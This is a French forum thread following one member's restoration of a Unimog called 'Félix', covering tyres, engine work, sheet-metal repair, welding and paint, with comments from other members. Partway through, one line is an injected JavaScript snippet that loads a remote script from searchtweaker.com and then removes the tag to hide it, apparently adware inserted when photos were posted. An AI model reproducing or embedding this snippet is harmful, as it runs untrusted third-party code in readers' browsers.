Remise en état de "FELIX"

Comme dit Kiki  pour rouler ce sera toujours mieux que mes agraires lisses et craquelés c'est sur que dans la boue ça fera pas des miracles mais bon comme le  budget  pneus n'était pas prévu pour le moment c'est l'occasion qui m'a fait sauter le pas, j'ai une les 4 pour le prix d'un agraire donc voilà.
Et comme il m'en faudra aussi pour le TRR il vont me dépanner le temps de trouver les bonnes jantes pour Félix  et finiront sur le TRR par la suite.
Puis ils sont quand même bien crantés sur les bords donc je pense que ça doit accrocher aussi bien que des pneus otan par exemple de toutes façons  on verra à l'essai, faut dire qu' ils étaient sur un Unimog de ville alors que moi c'est quelques kilomètres de route pour aller au bois et après c'est la journée en Forêt.
Pour Ariège mog ce n'est pas des liens, c'est quand on poste une photo que ces trucs apparaissent j'ai donc édité.

c'est bizarre, ça ne me le fait pas 

Vérifie quand même l'indice de vitesse de ces pneus, tous ceux que j'ai vu avec ce profil étaient en A8 (profil spécifique remorque agricole, éventuellement marquage "implement", indice A8 en évidence sur le flanc.
Si tu as cet indice de vitesse A8 et que le gars du CT regarde de trop près, recalé!!! et je te dis pas le budget pneus:pendu:

Indice A1 A2 A3 A4 A5 A6 A7 A8 B C D E F G J Max. km/h 5 10 15 20 25 30 35 40 50 60 65 70 80 90 100 Max. mph 3 6 9 12 15 19 22 25 31 37 40 43 50 56 62   K L M N P Q R S T H V W Y ZR     Indice Max. km/h 110 120 130 140 150 160 170 180 190 210 240 270 300 240+   Max. mph 68 75 81 87 93 100 106 113 118 130 150 168 186 149

Merci pour l'info mais j'avais vérifié en fait ils sont ok pour 55 mph soit 90km/h donc c'est tout bon et j'ai de la marge pour la vitesse max:lol:
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

la caisse est revenue du sablage


En l"attendant j'ai terminé, les freins, revu le circuit de refroidissement et fait un circuit électrique de base pour pouvoir redémarrer le moteur et faire le dernier serrage à chaud de la culasse à 7 ou 8 Kg.

Ce soir essai de copie d'un garde boue arrière à la rouleuse.


Le résultat après découpe du pourtour.



Ce n'est pas mal mais le fait de faire les nervures, voile le garde boue.
Bon il n'y a pas le renfort de soudé au niveau de la partie supérieure et je n'ai pas pu jouer du marteau les gosses étant au lit donc je verrai demain.
J'aurai peut être du mettre  un jonc en inox  de plus gros diamètre dans la nervure du  bord...mais le résultat n'est pas mal.
Je vais  réfléchir et faire des essais pour m'améliorer pour le prochain:lol:

bluffant,y a plus qu'a lancer une petite fabrication en série

Salut GDT , éffectivement la toles se déforment si elle est trop étirer en une fois ,est ce que tu peut règler la pression de la machine pour en fait faire la rainure en plusieurs passe (peut être que ça voile un peu moins ???? ) ou tu la fait en plusieur fois déja ??? peut être la chauffer un peu avant juste devant la rainure , en tout cas

Merci, pour KIKI je fais les nervures en plusieurs fois mais la prochaine fois je chaufferai pour moins déformer, j'ai soudé le renfort supérieur et c'est beaucoup mieux.
Je pense qu'une fois fixé ça doit pouvoir le faire mais il me faudrait la benne pour essayer donc c'est en stand by pour le moment.
J'ai remis en route le moteur pour pouvoir resserrer la culasse à chaud.
Ayant regardé un peu tous les post à ce sujet sur le forum, j'ai fait tourner le moteur jusqu'à température pendant une bonne demi-heure et j'ai serré à 8kg. Le moteur tourne super bien avec ses claquements caractéristiques.
J'ai attaqué la tôlerie revenue du sablage afin de pouvoir la passer à l'antirouille le plus vite possible.
Donc aujourd'hui restauration des capots moteurs par bouchage de trous non d'origine, reprise des bosses et des fissures au semi.
La tôle de fermeture de la cabine est percée à deux endroits et bien corrodée à un endroit sans être trouée.



J’ai donc découpé les endroits perforés pour les remplacer par de la tôle neuve.
Donc pointage de la tôle

Puis après pointage j'ai continué à faire des points tous les deux centimètres environ d'un coté puis de l'autre afin d'éviter les déformations.
Une fois soudé ça donne ça.

Après un coup de disqueuse et remise en place de l'anneau de maintien pour la roue de secours, c'est déjà plus présentable.

La finition est faite à l'étain.


Après ponçage.



A+ 

Bonjour

 tu as été carrossier pro ? où avez vous appris tous ces savoirs faire ???

je n'avais jamais vu de rouleuse qui crée ces profils ! je pensai que c'était embouti à la presse !

Mig puis finition à l'étain  super boulot!

à+

  bravo nickel si tu étame et beau et bon boulot nickel .kiki

Non Fred je ne suis pas carrossier loin de là, mais à force de restaurer des vieux trucs j'ai fini par apprendre des combines avec des anciens et comme on dit c'est en forgeant qu'on devient forgeron. J’ai eu aussi mes périodes rivets pop et sintofer voir plâtre et grillage à poule mais ça c'était avant:lol: ;
Sinon tu as raison, d'origine les gardes boue étaient emboutis à la presse, la rouleuse est en fait une presse mobile, les mollettes sont une empreinte mâle et femelle de la forme que tu veux obtenir.
Pour faire le bourrelet autour du garde boue j'utilise d'autres molettes par exemple.
Sinon l'avantage de l'étain, c'est que ça ne bouge pas dans le temps ça renforce la soudure et ça craint moins les chocs qu'un mastic.
Mais bon on ne peut pas toujours chauffer donc le mastic c'est bien aussi parfois.
Et c'est plus rapide surtout, mais il ne faut pas qu'il y en ait un centimètre d'épais....

et surtout( et pas des moindre ) si tu étame deux pieces une sur l'autre , c'est que c'est étanche entre les deux toles  et l'étain ce travail très bien aussi   kiki

Bravo pour ta resto, super boulot, tu l'as amener ou ton chassis pour le peindre en epoxy, Neotec,Map color,sitras.
Tu es de quel coin, encore un vosgien !

Bye

Eric

Je suis à coté de St Dié donc pour le châssis je l'ai amené à la Sitras.
Aujourd'hui j'ai continué la reprise des éléments détachables de la cabine les capots moteur la tôle de recouvrement de la boite de vitesse etc...
j'ai attaqué la tôle qui recouvre les leviers de vitesse, je ne l'avais pas sur Félix donc j'ai pris celle du TRR mais je me demande si elle ira vu que le TRR avait une boite non synchronisée contrairement à Félix qui en plus de la boite synchro a les extra lentes.
La dite tôle était fendue en plusieurs endroits et bien corrodée,avec des perforations au niveau de l'appui du caoutchouc qui couvre les leviers.

J'ai donc découpé un cadre de tôle pour renforcer et reprendre l'équerrage des cotés.

Après traitement au zinc et un coup de graisse cuivre avant soudure.


Une fois soudé finition à l 'étain pour lisser les perforations  et ponçage

Avec le cadre soudé la tôle a retrouvé sa rigidité.

Beau boulot, je connais la SITRAS, j'y allais il y a une vingtaine d'année, c'était pas très cher à l'époque, maintenant, j'ai MAP COLOR à REMIREMONT,c'est moins loin.
Ils sont toujours dans la vieille usine ?

Bye

Eric

Là les gars ,vous jouez dans la coure des grands (ainsi que ben)
Vos restaurations sont lourdes,on est loin de la bricole là !
Et sur ce point vous avez une habilité technique incroyable,et un courage sans faille !
L’état distribue des médailles du "mérite agricole" à tout va(même à des gens qui ne sont pas agriculteur)
Ils pourraient penser à créer une distinctions pour les gars comme vous,qui sauvegardez le patrimoine industriel !
En tout cas Felix reprend forme et vie peu à peu,et c'est passionnant à voir.
Allez Christophe,gardes le rythme on est avec toi !

Merci Tito, je vais rougir comme les pièces terminées en soudure.
Avant

Après un   passage au Rustol cip

Cela permettra de stoker ces pièces sans craindre le retour de la rouille avant de les préparer pour la peinture.
Pour Eric88, oui ils sont toujours dans la vieille usine où rien n'a vraiment changé; moi cela fait plus de vingt ans que j'y vais à cette époque j'amenai plutôt des cadres de vieilles motos.
Je trouve se type de peinture intéressante pour des véhicules  amenés à souffrir en forêt de la boue et des rayures par exemple:cheers: 
Je ne connais pas Map Color, je pense qu'ils font la même chose mais pour le coup là cela ferait loin pour moi:lol:

Salut Ben,

Tu touche un max en carrosserie, très beau travail tes carters renovés,il y a des heures la dessus .
C'est sur que la peinture epoxy, c'est nettement plus resistant, j'ai passé toute mes protections,arceau,support treuil,support verin avant,quasiment tout ce qui est rouge ,au moins tu es tranquille .

Continue comme ca,le résultat va etre superbe .

Bye

Eric

En parlant de peinture époxy perception des jantes , du plateau et d'autres bricoles aujourd'hui.



En carrosserie je me débrouille pas trop mal mais je ne pourrai pas être carrossier car je suis beaucoup trop lent  

En parlant de carrosserie, je me suis occupé de la caisse et en particulier de la traverse au dessus de la boite qui avait été coupée au chalumeau provoquant je pense les fissures au niveau du tableau de bord.



J'ai dépointé le restant du profilé de renfort et reformé les pièces manquantes puis il m'a fallu réaligner et brider la caisse car le plancher c'était affaissé de plus d'un centimètre.


En suite soudure et finition.





Maintenant que la caisse a retrouvé sa rigidité je vais pouvoir traiter les fissures du tablier et du TDB avant d'attaquer les planchers.
a+ GG

Des news
Les roues repeintes sont montées le plateau est juste posé pour gagner de la place.



Puis j'ai montés les portes pour réaligner la caisse afin de la brider avant de travailler dessus.


J'ai pu ainsi reprendre les fissures du tableau de bord.



Puis j'ai attaqué le montant du passage de roue pour pouvoir réparer la tôle du passage de roue du coté chauffeur, la cornière étant bien corrodée je l'ai remplacée ainsi qu'un bout du tube où vient se fixer la garde boue.
Les pièces à remplacer

Découpe des pièces

Et remplacement

J'ai aussi refait la boite à outils.

Prochaine étape réparation du plancher coté gauche.

pourquoi ne pas avoir choisi des pneus type agricole ? tu fais que de la route ?

zombinis a écrit:

pourquoi ne pas avoir choisi des pneus type agricole ? tu fais que de la route ?

En fait il va nous faire un mog de circuit Manque plus que les ailerons parce que le 411 et son moteur surpuissant vont se transformer en avion

Pour les pneus j'aurai préféré des agricoles car Félix me servira pour bricoler mais principalement pour aller au bois.
Mais bon il me fallait des pneus pour le passage au contrôle technique et le prix demandé pour les 4 était le prix d’un pneu agricole et comme le budget pneus n'est pas encore à l'ordre du jour ceci explique cela.
De plus je n'ai pas encore trouvé les deux jantes à trous d'origines qui me manque donc au finale ces roues iront sur le TRR et quand j'aurai trouvé deux jantes d'origines je les monterais avec des agricoles pour Félix.
Sinon les travaux sur la cabine continuent
Découpe des éléments pourris



Formage de tôles de remplacement

soudure

et après ébarbage et ponçage

C'est long à réaliser mais faut positiver ça avance... demain j'attaque le plancher des pédales:lol: